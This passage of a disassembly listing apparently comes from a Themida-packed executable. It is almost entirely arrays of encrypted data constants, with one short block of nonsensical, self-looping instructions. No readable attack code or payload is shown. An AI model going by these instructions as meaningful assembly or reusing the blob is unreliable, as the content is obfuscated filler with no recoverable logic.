		dd 0C45E88AEh, 0ECC92Ch, 166C7D7Fh, 60BB919Ch, 0E1DE7C07h
		dd 2C296325h, 400CA010h, 98A01D59h, 0EE41C0E5h,	79EDB098h
		dd 98A99609h, 38C2216h,	1D4AECACh, 0D8F6C33Fh, 3296753h
		dd 72DE694h, 0FB986AD9h, 2C06F5DEh, 0EEC6F380h,	0FDE42060h
		dd 18B7AC81h, 3AE70427h, 8B8C14A0h, 63B05AC4h, 0FBBF091Dh
		dd 10A2CA8Dh, 38449D63h, 0B6A11300h, 0E086CDC9h, 0D8E96E07h
		dd 64F50CDDh, 9E0A2131h
		dd 0D1E0CC06h, 8EECA009h, 1E12A073h, 0A07BACFAh, 88F8A52Ch
		dd 0FBECE918h, 4608B248h, 0F5A2B05Ch, 5CEB76DEh, 0C42AD724h
		dd 277020ACh, 0FCEF080Eh, 1E1B40BDh, 937D2E13h,	25B4703Ch
		dd 2810D0E0h, 0D6095878h, 44A31977h, 55A8BCB2h,	7C4C656Eh
		dd 8C12BC00h, 0E2FC6F15h, 0CBD7008Ch, 21377DB1h, 0D8760751h
		dd 427327Ah, 87489078h,	0D07AD188h, 370D0E0Fh, 5812E02Fh
		dd 35709Ah, 54DB9210h, 594A9068h, 0AE8B2E8h, 70DDEF00h
		dd 0F913AABBh, 0A051E267h, 0B03876D0h, 71A94654h, 0ECB82F04h
		dd 0D2325312h, 2FD72E20h, 5E403B6h, 0DE8BD4DBh,	38EFEBE8h
		dd 0CA8FAD01h, 3CACE94Dh, 0A28CC453h, 893090A2h, 0ECCB083Dh
		dd 3B595C7Ah, 0C442FD4h, 8C7383CCh, 0E51456A8h,	12E42478h
		dd 78457A19h, 9C4FF7FFh, 0DAE0C075h, 323C014h, 632BB0A7h
		dd 20A6EED3h, 67261670h, 9F60A4FEh, 4661EAA2h, 35422A4h
		dd 7EA2B6AEh, 1B84A3Bh,	0C2003DC0h, 67BE9EBh, 79E56529h
		dd 901F6284h, 0FE02EEBEh, 21F427E3h, 0CC12B63Dh, 71E44697h
		dd 53E0E00h, 9FB5FC9Bh,	1D19048Eh, 8079E94Ch, 28399E5Ch
		dd 5E66D419h, 90233F10h, 44751909h, 0E0040029h,	663A60D5h
		dd 9DE91015h, 835FC8C2h, 0B2659267h, 6EC898C0h,	0CCABA81Dh
		dd 199D5801h, 29A85073h, 35DD0464h, 0C2B98980h,	2B00B508h
		dd 8F5FF1h, 0FEA49B40h,	4BA2B775h, 5178114Dh, 28B9E0ECh
		dd 9180FA80h, 877C31F8h, 69E04164h, 303209h, 531B685Ch
		dd 79C84Dh, 5E36BA2Bh, 0A6B3AF90h, 9731F414h, 0FF2110D8h
		dd 0CCA2B9C0h, 448C9461h, 8CB0B8E3h, 0FDEF9000h, 0A7FFA49Ah
		dd 7C222811h, 0ACA10754h, 2016EE4Bh, 212A4396h,	0B1A88700h
		dd 0B6AF985Ah, 0C619006Bh, 308069B9h, 882C2F47h, 46749868h
		dd 4AAC3164h, 98E7FE22h, 13ADBBB6h, 7B42FDAFh, 0BA1C7A14h
		dd 10A4B97Bh, 2C9B9001h, 4434AB44h, 76D7AFDh, 1E1D450Bh
		dd 986B0417h, 0A208CB78h, 0C4847786h, 0FCB24F55h, 2811DB40h
		dd 21F6848h, 0C01AFB8Ah, 9C50308Dh, 5E4EDF2Eh, 34276901h
		dd 8881AB35h, 7316BA4Fh, 8E805543h, 0C06488C0h,	5217119Bh
		dd 467FC500h, 849DED7h,	30EF40C0h, 9E09500Ah, 0BF029824h
		dd 4179B783h, 0C080332Ch, 692A3019h, 0B1019ED6h, 3B77D521h
		dd 0A0E0B75Eh, 0FBCE188Fh, 2C610851h, 6F80C20Fh, 167DE036h
		dd 0A81F0C8Ah, 7F5DBEC4h, 1D330168h, 17D3645Ah,	0A9688154h
		dd 22A6BCADh, 2848CC73h, 58CE2B8h, 0C150BEFEh, 218CD29h
		dd 8F30D498h, 21E9EA65h, 8591C295h, 65676607h, 5044A75Eh
		dd 0A882AB88h, 0D0537D24h, 0D3329900h, 500AD5BFh, 97BD077h
		dd 387AEDAEh, 3AC0486Dh, 48079288h, 5F1338B9h, 94F02184h
		dd 48F50926h, 2F08DB0Ch, 0C48AECC5h, 0C42540DDh, 1E1A2Fh
		dd 0D6615465h, 3DBC740Ah, 67A13001h, 3901E28Bh,	0DC58F1AEh
		dd 814C7460h, 7FC1146h,	73CF18D6h, 0EC8C629Ch, 405AC4E1h
		dd 10BE0AECh, 6B488CB2h, 8516000Ch, 282B1961h, 8C09904h
		dd 7B924E78h, 518B815h,	0CC844780h, 0B2F8F4D1h,	4B9D01CAh
		dd 0C102E685h, 5CE419h,	9602FC8Dh, 0F21DFD07h, 370FA4F6h
		dd 0C038A9A6h, 0F64A52C8h, 622C019Ah, 73618FBDh, 2114242Dh
		dd 406080AAh, 68539757h, 305EF290h, 0DD05889Dh,	0CDA9AA41h
		dd 5DA48Ch, 0AC31E676h,	0E9845899h, 0A414EB05h,	0F8D76432h
		dd 46672B80h, 0E20C39B6h, 0A46E2C00h, 32A7801h,	83C88939h
		dd 0E4DF2347h, 11500452h, 840412BDh, 954C8240h,	13A2C530h
		dd 38747788h, 0A404BCECh, 0AA141FA2h, 0DD02CCE2h, 0FB471305h
		dd 154F1160h, 9AAC93Eh,	91449B30h, 9E189480h, 61CDA208h
		dd 4050C4BCh, 0D8A2B1AFh, 26FB7EFDh, 89A8276Ah,	14012EB3h
		dd 0C95D289Eh, 0CC483054h, 188D7709h, 801C0AC8h, 6033A808h
		dd 0ECB92FCFh, 0BD52EA21h, 0D80331C4h, 0CE6ABC2Fh, 3310E832h
		dd 4AA0396Dh, 0E712CB00h, 4C8D601Dh, 13BC0C4Ch,	5C4ED691h
		dd 0F7F562D7h, 5A458EFh, 0CBD6586h, 1644C2C4h, 0F5EA9090h
		dd 0A55B8800h, 9EA4E512h, 76724A7h, 21C1046Ch, 0A28497A0h
		dd 640175ABh, 0D917078Dh, 0ABC40845h, 0B7A75260h, 21D09307h
		dd 802E369Eh, 38F63981h, 2C030997h, 0E8A04428h,	0CCC53425h
		dd 0B1120C9Ch, 3C8CC8Bh, 8483CBC3h, 7220F4h, 0A56CF54Dh
		dd 0F04BCF34h, 0F2472A00h, 0A7AFBCA8h, 0CD200228h, 12B4E56Fh
		dd 636EAC81h, 0E8B0F4F7h, 26985360h, 7321778Dh,	9C00CD6h
		dd 0AB70FC57h, 0DB65EB00h, 122BE14Dh, 1C2656EAh, 46187120h
		dd 0F5906510h, 5DE2284Fh, 0AD2903D4h, 7CE3699Fh, 6418BFE1h
		dd 651351A8h, 0A02F7FC0h, 7402A923h, 60FC5261h,	2863BA09h
		dd 0A8D7F5h, 5F2D9BB8h,	0ABD3CCB1h, 2FF06D50h, 0D10ED0B8h
		dd 80E7A118h, 674ABAD7h, 1ACF0211h, 0A78D65EAh,	9DF0048h
		dd 681E7D78h, 0FF091E2Ah, 427043ACh, 8DC30480h,	0A1888089h
		dd 0C203F5B4h, 27989581h, 7883E082h, 855A0E1Bh,	2000848Bh
		dd 2D8FB2C3h, 97BB2700h, 9A13771Eh, 67E7195h, 0F8B384ADh
		dd 0F5FAA0A0h, 70B74B24h, 3F1EF71Eh, 7DF9D071h,	65E3F647h
		dd 0CF870D6h, 0B69F0BF2h, 0D9543038h, 0F813E9C4h, 0E4C1511Fh
		dd 0BCF66AEBh, 0E6345E4h, 0C5111120h, 0D7C00892h, 0B9659CC3h
		dd 63182DE9h, 0F946188h, 7FAEC665h, 50BD76A1h, 0DFE097F3h
		dd 470F8513h, 0E8780CA0h, 3FEA00A3h, 0DF8B259Bh, 98058056h
		dd 0A1762934h, 92AC44C0h, 1D14383Fh, 0C0786826h, 7789A2CAh
		dd 0E5F89C5Ch, 753290A0h, 0A588073Fh, 494FD5F9h, 0C7982882h
		dd 0FF307300h, 0CB89C075h, 286F8FECh, 1485098h,	7DB980BCh
		dd 0FC3EB16Bh, 0A17B009Ah, 7F9F789Eh, 194C878Eh, 0FD7C0058h
		dd 7B9D7624h, 0D87A5049h, 0EE4A1CA2h, 34A1442Bh, 9D8CA45Ch
		dd 0E715048Ch, 62849F90h, 2A13200Dh, 6C00DEE7h,	2F1DBAD0h
		dd 7699A5C1h, 97B04C23h, 0C036461Fh, 0C55C7614h, 18C58D32h
		dd 844FE4FFh, 6645C0D6h, 2DD8C781h, 2000FB97h, 60CBC6EFh
		dd 99DC0C00h, 38F1C0B7h, 0D752A1Ah, 0A7EB1CF4h,	0E4A600D6h
		dd 0CD2452A2h, 2EA09404h, 289637E0h, 205148D0h,	2900EF20h
		dd 9C84D128h, 0B023C273h, 84B250ECh, 0C9D00608h, 60262520h
		dd 0AF240098h, 0F704C8D9h, 44815066h, 2830BA68h, 282E7EB5h
		dd 1294220Dh, 2F163DC7h, 502300h, 0A6A77C4h, 7C25EAEDh
		dd 3842BE5h, 8A14EE84h,	0EED8C51Dh, 0A5FC8071h,	0B653F8CDh
		dd 1E513D0h, 1D69A33Ch,	0C0AC2548h, 81007D90h, 0A88667E4h
		dd 18B75EB1h, 1084B82Ch, 1812BCADh, 0A050CF7Bh,	7AF51C94h
		dd 0D7808E0Eh, 7787D306h, 4833B081h, 0FE82069h,	90C2008Ch
		dd 0A17583CFh, 641F7847h, 84A9E2Bh, 5C28E6F4h, 0DC594310h
		dd 2F5B6856h, 12237Ch, 0ECBFD1AEh, 0B0981CC4h, 390C6948h
		dd 0FD6818CFh, 2D739F70h, 0D8A4C5A1h, 606962D6h, 9B25E913h
		dd 17C1130h, 13662140h,	7BE81080h, 0DAD4208Dh, 0A8D1EC99h
		dd 84264618h, 0C713C444h, 9FE2C0C7h, 2DA050BBh,	4A0FBFAh
		dd 0FC5D2C98h, 0C260BA4Ch, 60AE7A9Eh, 192445Ch,	0AEB97E5h
		dd 24631B1Ah, 7A124C9Ch, 84CB66F4h, 96C05FC8h, 388E0691h
		dd 0B6501FE7h, 0A9FC60E5h, 0F8126698h, 0C1646D4Ch, 22AFF576h
		dd 9FED2081h, 0F0BA2716h, 70026E4Bh, 0A12AC37Ah, 7048D97Dh
		dd 2C86F91Bh, 0AE8011h,	0FC16DD6Fh, 0E4902097h,	0C0B6DC28h
		dd 0E5996312h, 0E9FA9442h
		dd 0A49C9078h, 0DF1042Fh, 0A4287D16h, 2461E0F4h, 0D2AD9D61h
		dd 0D500A823h, 0D699177Ch, 0E00EDC4h, 0CAEAA4D7h, 90813F59h
		dd 0A8FB2AA4h, 269CE094h, 28079CEh, 77EB080Ah, 0EAB56841h
		dd 748C2B04h, 0A1DE60FEh, 0E84E1DC8h, 57BAA000h, 67F5653Ch
		dd 25CB815h, 6E73AB69h,	50496A62h, 59318D0h, 0F5E92A65h
		dd 52DC2CF2h, 0DE656B00h, 80EE0954h, 69D402A9h,	576E3F3Eh
		dd 5179FC79h, 0FC057518h, 0E9B3D8DBh, 770B38E2h, 7460FFABh
		dd 81C06A01h, 0D70FC8E8h, 590900B6h, 2C9B676Dh,	9C48481Bh
		dd 0D81910BCh, 0B5DE7B12h, 0ABBFF314h, 0C433A0E2h, 807796B9h
		dd 84D8DE59h, 135749h, 464F83E8h, 0E52068Ch, 8A011E70h
		dd 952E1A3Ch, 0B9C8E753h, 8068940Ch, 656078FCh,	8A001833h
		dd 308070E0h, 0B5BAADh,	6A13EE15h, 2EF29931h, 8756270Bh
		dd 0FDDC8212h, 2284A0FCh, 1DFA944h, 1B43EB68h, 0CC84A7A4h
		dd 8F7587CCh, 7F8BAB04h, 0D8A327h, 0CA3D1E88h, 0C85C50ECh
		dd 0D13881A6h, 0E4DE752Fh, 0C0969AF6h, 8DCF7A40h, 0E85A0029h
		dd 0C61DB645h, 30134ABAh, 0AC92344Bh, 50745074h, 1D31C19h
		dd 2D6C9AF5h, 301EE143h, 0E04817BFh, 35EDDDC4h,	6BF284FCh
		dd 0E92081B0h, 0C9A844C3h, 1A4B40F0h, 4000C541h, 1093F7CCh
		dd 0AC1269h, 85F00546h,	5B9FEC91h, 174A6CBAh, 6688B88Bh
		dd 0FA3B8EC0h, 2965008Ah, 7360DC2Bh, 5381A931h,	0FDF44Ch
		dd 0FAC1F4D7h, 4CC86F34h, 8F99AF1Eh, 1C5A3FC3h,	0C880BB43h
		dd 9736837h, 1965814Ah,	0F10E94A0h, 0F89CFC09h,	78465Eh
		dd 0AA74F186h, 1608D0C6h, 0E365A28h, 6069EB34h,	0A4990494h
		dd 0F2180CD1h, 7AF91A00h, 0A273EDD0h, 0DB23126Ch, 2A08018Bh
		dd 6059067Bh, 22027F48h, 57731395h, 0E2896277h,	0F72C6180h
		dd 7C303181h, 76BA3124h, 1CE11724h, 5123482Fh, 38D58A01h
		dd 709332A5h, 96008094h, 79001F65h, 8D39814Ch, 5FCA45Ah
		dd 4D7CFA8Ch, 88988E21h, 85F3C0CFh, 0F01F14DAh,	8C3F9BD1h
		dd 0C05753E0h, 11432A29h, 4C73F8B8h, 7BC6A498h,	69F249F1h
		dd 6953F24h, 0EC10043Ch, 0CF2BB97h, 0E8B15878h,	0CCC09F88h
		dd 2FEC9E2Fh, 0AC9452C2h, 2FD52409h, 0AF78825Fh, 12984041h
		dd 170F17A1h, 0BD00048h, 9C81B083h, 8025732Dh, 2008E9F0h
		dd 80C0C1DFh, 7C7F3864h, 8CCFB8E8h, 4C8EAAC0h, 1363ECD6h
		dd 20F87B95h, 0ED5B7B0h, 1051D440h, 4C5814B0h, 282F5BFCh
		dd 4F096223h, 7A2B830Ch, 9191954h, 0C0BD9176h, 0A9077879h
		dd 0A48030A3h, 5EC0F6D0h, 69C16FA2h, 8244E6E4h,	0C8596220h
		dd 0F9B3BA80h, 164B70CBh, 1750A4Ah, 25CDFAACh, 0BC082891h
		dd 0F9431Bh, 0BA855857h, 42E8D80h, 0F98E82D9h, 8EA0D5BDh
		dd 0C4DCC8DCh, 1268BDFAh, 0BC6562C3h, 0D675D481h, 0F8770020h
		dd 0B54E48h, 0BE5C66B0h, 0D326D0B6h, 6F178CBCh,	589EB480h
		dd 6C7C2850h, 38CF63CCh, 0A15B1170h, 0C7012C6Bh, 0ECC60F05h
		dd 128039B4h, 4A137747h, 6D88E0CEh, 0CF185DC0h,	82704B28h
		dd 68E4FFC0h, 0BD7FF012h, 8D692300h, 0B16719A3h, 18A8D188h
		dd 0B6B309EFh, 38106996h, 0E700BFE0h, 164501Eh,	25DE457h
		dd 8A3EC008h
; ---------------------------------------------------------------------------


loc_57BA64:				; CODE XREF: Themida_:0057BA78j
		sub	cl, bh
		pusha
		mov	[ecx-23h], esp
		sub	[ebp+ecx-626FED68h], dh
		push	ebp
		mov	ebp, esp
		enter	0FFFFC763h, 2Bh
		jb	short loc_57BA64
		retn
; ---------------------------------------------------------------------------
		db 0E6h
dword_57BA7C	dd 0FDCA003Ch, 0F758A12Eh, 0CE00D9ADh, 1A288B98h, 223E3BBh
		dd 7B0A43CCh, 0EC7030E5h, 6219690Ch, 142F7912h,	98E16828h
		dd 2230037Ch, 4F012A4Ah, 0D5AE6100h, 0D7A39D0Bh, 0DD3505D4h
		dd 802CEEDBh, 3AEDC1B6h, 0B14C34Dh, 114EF450h, 1018A220h
		dd 9F93E709h, 60E8718Ch, 0CFE6A8E0h, 0E5541900h, 131E2BD8h
		dd 8ABC91B8h, 5E9889B2h, 49005E46h, 3490726Bh, 0FF2499A1h
		dd 80BF08FAh, 0A82E1345h, 9B4B3B1h, 169B852Ch, 0D6020058h
		dd 9634674Ch, 794072EEh, 0FBFE3090h, 0F04D3E41h, 0B0D89F28h
		dd 4E00ABF6h, 3DD969C6h, 74266D34h, 0E4D4BA7Bh,	84B1004Ah
		dd 9E19AD03h, 0F8799D69h, 67139B75h, 10229CE6h,	5E2C54CEh
		dd 0B902E346h, 5F4A3092h, 632D1C6Ch, 4CDC22BAh,	0C4B4EDEBh
		dd 74626050h, 0B73D015Bh, 0E3F869DEh, 4B6C3D6Dh, 1A02546Eh
		dd 0C554B0CFh, 557348E8h, 3B516440h, 0F0C19C50h, 5F690D4Bh
		dd 73445818h, 0BABC0102h, 102887F8h, 6F5064F4h,	5F2E109h
		dd 0D13C797Bh, 57E18A9h, 66597805h, 0EC0C273h, 0F3D9D480h
		dd 0DB4B9FEBh, 367848C0h, 0AE5F0221h, 0F9CF0CC5h, 44741902h
		dd 0C7A100ACh, 0CD9B6B67h, 244F73ABh, 189BF816h, 64FF9F82h
		dd 4AAD04C0h, 2C77290Bh, 8D49DC2h, 0B60F91Bh, 5D357CAh
		dd 0A0169449h, 0BEBAC082h, 771ADADFh, 4B426E23h, 775183C4h
		dd 161EA89h, 46DB0D83h,	0D84D7A4Fh, 1A0F140Bh, 49F57F02h
		dd 76D90505h, 74E0E4A6h, 0DA3B414Bh, 519B01D5h,	3D7B9D91h
		dd 0A3035438h, 85FBD3CCh, 0C1109809h, 58F09821h, 41BC01CBh
		dd 67BB566Fh, 903297h, 0A0C360DAh, 0E47042h, 0DFD7AFC8h
		dd 0FEB45786h, 0CD89140Bh, 0DD28805Ah, 4D918C2h, 0CE6834DAh
		dd 241CADE6h, 8C206597h, 505B472Ch, 39B897A7h, 8E0472C6h
		dd 0C1DFE0E9h, 174FF4F2h, 0EC6E2Ch, 0E289AD77h,	92D1F0A2h
		dd 4F580064h, 0CC7133BBh, 0AB0932FBh, 804A6BAEh, 247A010Ch
		dd 0BBBF702Dh, 0F09E066Ch, 0E5074160h, 59D583A8h, 20B90AF0h
		dd 4CBF007Fh, 843963B3h, 0E0007A99h, 0FCA823A6h, 28AB58Ch
		dd 684AA4F3h, 737753h, 0B080418Bh, 426C940h, 53F84928h
		dd 0F9FC88C4h, 8424A758h, 99125160h, 0BC9478A4h, 6E138CD5h
		dd 0FC20FEEFh, 50475D69h, 36A2EC44h, 31CCA4D7h,	21C6E0A1h
		dd 44F2F1Fh, 3412B2CCh,	5131040Bh, 9058B8F8h, 999B9D80h
		dd 410E9CA7h, 1E81FF3Dh, 604CE8A6h, 0EED25AEh, 0F03AB09Bh
		dd 282D5BE5h, 3889C4Bh,	4A4060CFh, 2DAE24E6h, 60042B59h
		dd 0E7B067A3h, 91749F8Eh, 1AFCAC0h, 0A528F8E6h,	6CBBF804h
		dd 54AF7400h, 0A0227B37h, 0D0F15173h, 7586F2Eh,	4CAA7024h
		dd 0C164BAA2h, 40274E4Bh, 78E8F04Ch, 0FE97008Ch, 0B276DB03h
		dd 33E4DCAFh, 0DE8030BCh, 9BE0C785h, 0E02558BAh, 0F14803Fh
		dd 0FF8BD093h, 0F420A411h, 85000439h, 9BE27079h, 0A1F627h
		dd 62229D98h, 0AB1A7678h, 0D2BDF816h, 0A4D6D820h, 1CC65CE9h
		dd 79633318h, 8600CA8Dh, 0B7A01EEDh, 39875FE4h,	0A504A2C7h
		dd 829CB99Eh, 0BC7CB82Ch, 17A465Eh, 0AADA478Bh,	0A0E0E2F6h
		dd 83CC0BCAh, 0C8636223h, 0DF22768Ah, 0A5245B58h, 0A8911895h
		dd 0B37BC380h, 542D0577h, 569CBA2Bh, 50465EE8h,	0D0304600h
		dd 0B2157252h, 2564A27h, 78DF8F74h, 8D600400h, 0B81FCC30h
		dd 8CD5E8B0h, 6185E813h, 8A32032h, 0DD465C80h, 0EEE04000h
		dd 1B89DC9Ch, 0FDA00C01h, 0A3144680h, 0F3812828h, 0F09665B6h
		dd 0D400EEADh, 80919089h, 0E9BF174Ah, 4983FEF8h, 9D0E1CBAh
		dd 92C4B2F8h, 2C708940h, 69009250h, 0C11963C8h,	2FB84BF6h
		dd 0DD2354h, 72E245E8h,	0CB019FA8h, 9C2734F3h, 79E6F943h
		dd 0C05969F8h, 9D180E59h, 3575BB09h, 0B64E68Dh,	0F29E5EB6h
		dd 718074C8h, 5C199C88h, 8293907Bh, 2051FA2Ch, 646CC5A7h
		dd 0FBEC605Dh, 0A0800E3h, 5E0F7F27h, 0E4EDC8Dh,	64009C7Ah
		dd 0DEF05EE4h, 98B5227Eh, 5CF160h, 0BD73D8EFh, 54D6EA18h
		dd 148D320Ch, 4F37700Fh, 0C0EC9A7Dh, 0AD4DC031h, 8CC8806Ch
		dd 0E37F660Bh, 4C5FD821h, 0FC583074h, 0B827ED09h, 0EB1DACD0h
		dd 0E42BC941h, 0CD7DB702h, 575454D5h, 0E22BA8Bh, 0C4089728h
		dd 0F8E9025Fh, 64C85293h, 62423EEBh, 1FBA5409h,	60409852h
		dd 199113D0h, 48DC2174h, 8EA850A7h, 0D801ADDAh,	2B4CA0FBh
		dd 0D708D95h, 9E8039D1h, 7D92787Fh, 877C00D9h, 4DD784A0h
		dd 1538E1AFh, 951E27Ah,	0BAC2206Ch, 60741CCh, 0BBC8B9D9h
		dd 35B163C0h, 0A41D9556h, 0FB9E6411h, 0EF248E00h, 30164CA4h
		dd 3A0C9015h, 320070A4h, 0AC1DC0E8h, 49C59F5h, 4F4A9E70h
		dd 0B8C0FC16h, 983E8C51h, 11A1018Ch, 0D9BB8D62h, 0C3D8446Bh
		dd 0CEA90288h, 13647CC7h, 238C2F7Fh, 0B58000DDh, 115AC8A4h
		dd 816FE438h, 4A1FA3F5h, 0F6F46C89h, 0A7E603AEh, 0ED73ACCh
		dd 0FBCF0097h, 668871A6h, 0A4ED0087h, 4A242D9Bh, 10BD298Fh
		dd 9B9CF30h, 0BF3D43BAh, 68C71811h, 4C7C2EE8h, 0E0F465Eh
		dd 0C02B7C20h, 0F577B856h, 0B0B89203h, 73EB2020h, 0B727C491h
		dd 9E32011Ch, 3864B056h, 0F9890244h, 56C0D0DDh,	0DD46769Ch
		dd 0EE511500h, 4A0C9218h, 0CE7BF70Bh, 894CEBFEh, 8ED5A2FCh
		dd 87CD807Eh, 0B97BB427h, 0D3012BE6h, 699BE4CBh, 42A0A3Bh
		dd 16CEED4Ch, 6FBE7402h, 5CA684CFh, 2A134CE9h, 0E9C00091h
		dd 0E5642822h, 0EDFCA095h, 0AB9DD2Fh, 57301E1Dh, 451783E4h
		dd 218DC31Ah, 94665FECh, 4EC0A4ECh, 0B7FA7C02h,	84445619h
		dd 0A9E779CDh, 0DA157A10h, 845052h, 702F3A7Ch, 251535A2h
		dd 982120F0h, 221C0773h, 306DF288h, 289012A0h, 0B8607D4Dh
		dd 7BB92CF8h, 8444A78h,	0A6015057h, 1684DC96h, 5E1472DAh
		dd 0B0102048h, 40753B39h, 98EAD53Bh, 0CF38FCB8h, 0CCE54865h
		dd 0A297ED81h, 31AC40C8h, 0C1062A3Dh, 0F7F858E6h, 3BBD0031h
		dd 0C8220CE1h, 5F009E12h, 0DF65D37Dh, 18E0028Dh, 40BB092Fh
		dd 0F101F564h, 0BF139483h, 78F57D59h, 1C4340EAh, 2BBA2CFCh
		dd 648D88A8h, 37C2C99Ah, 0F06A01ACh, 69A05EE7h,	295B7068h
		dd 0E58E0840h, 95AA769h, 0DF7B62CEh, 86040CD2h,	840EC3E9h
		dd 0CFEC5CF8h, 0A79B008Ch, 0A03AFC06h, 7CB939E6h, 0A6A880BDh
		dd 0AAEF7E69h, 34B02DA7h, 8C263003h, 0CB67E2E0h, 85724Fh
		dd 9FD6C980h, 2FB109CEh, 9CD22C47h, 0ACC3AC4Bh,	8B88DBEDh
		dd 380AB8BAh, 6FCF0B3Ah, 0DC7830E5h, 51726E02h,	9C2E9290h
		dd 6DDF2320h, 9C2EDA3Eh, 7E258C73h, 919C978Dh, 0A03857Ch
		dd 569D9020h, 0F42E0157h, 0FB7BF5EDh, 2E5C392Ah, 8D4FAC60h
		dd 9DF031F6h, 0C43CA538h, 0B16C6064h, 0D1C50018h, 95C907Dh
		dd 26EE91A1h, 0F8000BDh, 4F9E31C1h, 235C2F2Fh, 9B873D85h
		dd 0C004C41Dh, 0D6BBB42Dh, 7D1C945Ch, 48CBC240h, 0EC493CEAh
		dd 6514A1F8h, 4FE840BDh, 3EC06CDBh, 0A101D86Ah,	6783CC16h
		dd 80B23853h, 0CD56F200h, 0E864E4C1h, 4E83991Ch, 79A51E8Bh
		dd 5B80002Ch, 0F3A8B870h, 8793AB01h, 1AF48D7Bh,	5BBA98A8h
		dd 0A92C01D7h, 23C265D0h, 336DA234h, 0F41A6FA1h, 8048D4FEh
		dd 4CB5BD0h, 0F4C0E3C8h, 0B33F0Ah, 0FDAB702Bh, 0CA16D5BBh
		dd 8081009Eh, 0F169026Fh, 4CD89820h, 2F5A5CB3h,	4AB23B8h
		dd 0C0EB70B8h, 72F40634h, 4D78C025h, 2C99C0A4h,	682EBF97h
		dd 0D901A59Ah, 0D7F5F761h, 1E058038h, 1FEA079Eh, 948D49B0h
		dd 6FB804ADh, 3501986Eh
		dd 0E5465A97h, 0CAE02A98h, 0D0485E18h, 2A425774h, 0A11DCB0Eh
		dd 5C72E03Eh, 0C06D33B0h, 4CD3F721h, 36009181h,	0CE965712h
		dd 253A798Eh, 5C68978Ah, 0A307FE2Eh, 0CD9CC2D6h, 8E4DE170h
		dd 4AC805CCh, 0B5754330h, 446E6B48h, 32D0E72Fh,	48E0420Eh
		dd 8B28EF30h, 0A784805Bh, 0F9126402h, 1F4F8160h, 1D245737h
		dd 0DBF50486h, 0C1608025h, 79408BD3h, 4A2B7418h, 88008B7Dh
		dd 3C58C011h, 90B752D2h, 7AEC7598h, 0E58D0053h,	3A2C462Fh
		dd 420E98E6h, 20E7BC30h, 9D6BDAAFh, 0CFD5244Bh,	93CA0B50h
		dd 0A000CC4h, 7A9F5956h, 0A95988Fh, 0CBA08DF9h,	0C5B300FCh
		dd 0FFCEF3F4h, 7112BF20h, 0FC649A01h, 0BEF716E4h, 0E6D016B4h
		dd 0E4CFE05Ch, 86910047h, 0C754116Fh, 843C6B4Bh, 74360081h
		dd 0B0A11505h, 9A89648h, 0E8A1E156h, 713379h, 0BAD050CFh
		dd 9DA738F4h, 0B27B1965h, 0A61D1E5Ch, 5362F80Eh, 0FE653841h
		dd 0C439BA5Dh, 0D4E57609h, 67F78CC0h, 0D8DBC6FEh, 0EEB3E948h
		dd 35577C02h, 6C56A760h, 0A02D1D00h, 0A0C1E543h, 0DCF409C4h
		dd 639784A1h, 32108056h, 854CC78Dh, 1FC96E18h, 554A794h
		dd 0BDC0C4BEh, 0D422ACFCh, 0CF581895h, 0C1E020B0h, 16736103h
		dd 39E15B97h, 0DACAF941h, 3954C014h, 8CA0CAFh, 0E3FFD994h
		dd 3DF78583h, 95D7D0ADh, 74B0025Ah, 72D0A4E9h, 821460FDh
		dd 0EB9712E7h, 8078C49Eh, 8774F164h, 0F9296E00h, 479B642Bh
		dd 1380A07Ch, 16BA01D4h, 62CAFE30h, 7FC041FCh, 0E0CE2AF8h
		dd 6C00EC8h, 3E125B4Bh,	244B0A7Bh, 80BCE85Ch, 9DE775C5h
		dd 0A34C0CEh, 20F694F2h, 0E50409BDh, 607AE48Ch,	1CD299CBh
		dd 4C94CF64h, 0BE82D1Fh, 0C6C17D41h, 0EB00C46Ch, 556CB84Eh
		dd 0C8172741h, 6CA00CC4h, 16742718h, 50C4B865h,	0E4864E61h
		dd 0F8026147h, 9DF44AB2h, 7994D191h, 0E82E18ABh, 74EAF8D9h
		dd 715627E1h, 3505F010h, 0DA829500h, 32924E1Bh,	0B7B1396h
		dd 7380044Fh, 21BC0224h, 11E09FF9h, 0D1C38312h,	2180B177h
		dd 9D935085h, 0B888A93Dh, 0F4D01D92h, 754284A7h, 0A104C561h
		dd 88280B54h, 0DF02C063h, 1804CE30h, 0AB25CBA1h, 13EC7080h
		dd 9A172703h, 0EC9EE835h, 0F29529C0h, 98EA3017h, 2F810230h
		dd 490DB9E9h, 8A00A0C4h, 7E91EDE1h, 53A5F4h, 0B28FEFDFh
		dd 861350E4h, 64959325h, 0DD0D0050h, 5CA13F06h,	0F805531Bh
		dd 0DB25E887h, 7B3B5EC0h, 0DC11BFF7h, 8643F04Ah, 0D3F0A818h
		dd 4BB571h, 0B716BC45h,	0AA682F49h, 78E47B00h, 52BF796Eh
		dd 0D4E92292h, 1D6019E0h, 62703051h, 0F342025Fh, 0BCA28B0h
		dd 1F13F5FEh, 0ABA290A3h, 3230F030h, 20B8EFEDh,	85439F21h
		dd 2FB8012Fh, 60C968B0h, 632629D4h, 90A7BC79h, 3C0DB0h
		dd 0B8CF5DA0h, 0BA851994h, 5A684D00h, 6946ED2Dh, 0BDF7128Dh
		dd 90908210h, 6CF9A4C0h, 9E71B080h, 0C465ED8h, 80F06D1Dh
		dd 45DAA9C9h, 0BA0B8132h, 234DD43h, 0C7F44C70h,	0F92A4234h
		dd 0FB9618h, 285B9CB4h,	0BBF1CD46h, 71214D18h, 4EE0E9B0h
		dd 0CA648023h, 0E2367B19h, 20D89929h, 0E0A87955h, 7A1DEA12h
		dd 6E524CDCh, 7CEC5CACh, 0EA1C008Ch, 6AC31B5Fh,	0E92D624Ah
		dd 0EEC66A1h, 6442C49Ah, 0AF8C2D04h, 3303B46Bh,	0D94BBAC8h
		dd 0B202C0E6h, 0BD7B05C6h, 0BF18687Ch, 50165C4Eh, 98C6DBCh
		dd 0FB7B0E06h, 92EB3018h, 0B42698B6h, 17599808h, 0F93005BDh
		dd 0F2A85271h, 0F92AF1F0h, 4400EA0Ch, 972F0D3Fh, 0B8B5A6B4h
		dd 6CD20584h, 521331B1h, 8728DBC4h, 0B552139Dh,	2DCA800Ch
		dd 16323D67h, 1455EF3Ch, 71044E48h, 0E04D439Dh,	1C053F30h
		dd 64697916h, 3B39F4EDh, 39F48040h, 465E709Eh, 0D13903DCh
		dd 0D80ABF17h, 4F057734h, 0C8B081E8h, 5CF86464h, 85DC828Ah
		dd 5C9D5FDBh, 0FC808591h, 0BCC50EB2h, 0BA98B01h, 0EA7CEC19h
		dd 23242F3Bh, 0BDCB0151h, 0C27F73BBh, 0AB8098DCh, 0C2DAFA56h
